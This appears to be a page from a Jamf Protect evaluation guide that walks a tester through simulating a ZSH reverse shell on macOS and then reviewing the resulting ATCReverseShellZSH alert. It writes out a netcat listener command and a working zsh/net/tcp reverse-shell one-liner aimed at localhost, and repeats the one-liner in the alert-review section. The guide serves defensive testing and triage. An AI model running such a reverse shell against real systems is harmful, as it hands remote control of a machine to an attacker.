Testing and Analyzing with Advanced Threat Controls: ATCReverseShellZSH

A common attack pattern is a ZSH syntax which is used to create a reverse shell. This is often done after the attacker has already gained access to a system and needs to establish an impromptu interactive shell. A reverse shell is a common technique used by attackers to command and control compromised systems by connecting back to the attacker's system. This allows the attacker to gain control over the compromised machine, typically for the purposes of performing reconnaissance, executing further attack stages, or performing data exfiltration.

Use this test to evaluate how advance threat control can block and report a reverse shell ZSH (ATCReverseShellZSH) attack.

Requirements

In a your test plan in Jamf Protect, make sure the Advanced Threat Controls setting is set to Block and Report or Report Only.

If using a virtual machine, take a snapshot to revert back to at the end of this simulation.

Open the first Terminal and run the following command.
This Terminal session represents an attacker creating a listener on their machine to eventually connect back from the compromised system.
```
# start a netcat listener on local host port 4444
nc -l 4444
```
Open another Terminal window and run the following command.
This Terminal session represents a compromised system from which the attacker confirms that their listener is active.
```
# verify that port 4444 is up
sudo lsof -i -P | grep "4444"
```

From the same Terminal window, create a ZSH reverse shell to connect back to the local host on port 4444 by executing the following commands.

# Summon new shell
sudo -s

# Create reverse shell
/bin/zsh -c 'zmodload zsh/net/tcp && ztcp 127.0.0.1 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY' &

The output varies depending on your advanced threat controls configuration:
- If you selected Block and Report, the secondary ("compromised") Terminal window's states with a native macOS notification that the ZSH job is terminated, the attack is stopped, and no connection is established.
- If you selected Report Only, in the first netcat listener Terminal window ("attacker"), a reverse shell will now appear after delivering the payload from the "compromised" window. This creates a connection from the compromised system back to the attacker's listener. The attacker can execute commands on the "compromised" system by netcat listener. For example, nc -l 127.0.0.1 4444 and whoami.
After completing the above testing steps a new alert titled ATCReverseShellZSH can be expected inside Jamf Protect Cloud in Alerts.

Open and review the ATCReverseShellZSH alert. Note the following elements of the alert:


Control Type	Alert Element
Block and Report	The Action states Prevented and the Status states Auto Resolved. This is due to Jamf Protect intervening in a common attack technique (reverse shell) before it occurred.
Report Only	You can now change the alert Status as needed after reviewing the alert details and determining corrective action.

In a real-world scenario, investigation of this alert should begin with examining the process tree for how the program was executed, then the process arguments for target information and attack methodology.

In Processes > Process tree, examine how this program was executed:

If blocking is disabled, stop the parent of the zsh command, as this is likely the shell of an attacker.
If the process tags show that this was run under Terminal.app then the end user is likely responsible rather than an attacker.
If the zsh commands are not under a Terminal.app process, stop the process responsible for running them and perform further analysis to determine if there are other signs that this system is compromised.

In Processes > Process Arguments, you can view what the target IP address and port are used for the remote connection, how the remote session was initiated, as well as what the reverse shell argument was initiated (in this example, /bin/zsh -c 'zmodload zsh/net/tcp && ztcp 127.0.0.1 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY' &).

If a virtual machine snapshot was taken prior to completing this test scenario, the easiest cleanup method is to revert to the snapshot. Otherwise run these commands in Terminal to remove the test files created.
```
# Close the netcat window by entering exit.
exit
```

Testing and Analyzing with Advanced Threat Controls: ATCReverseShellZSH - Jamf Protect Evaluation Guide

Jamf Protect Evaluation Guide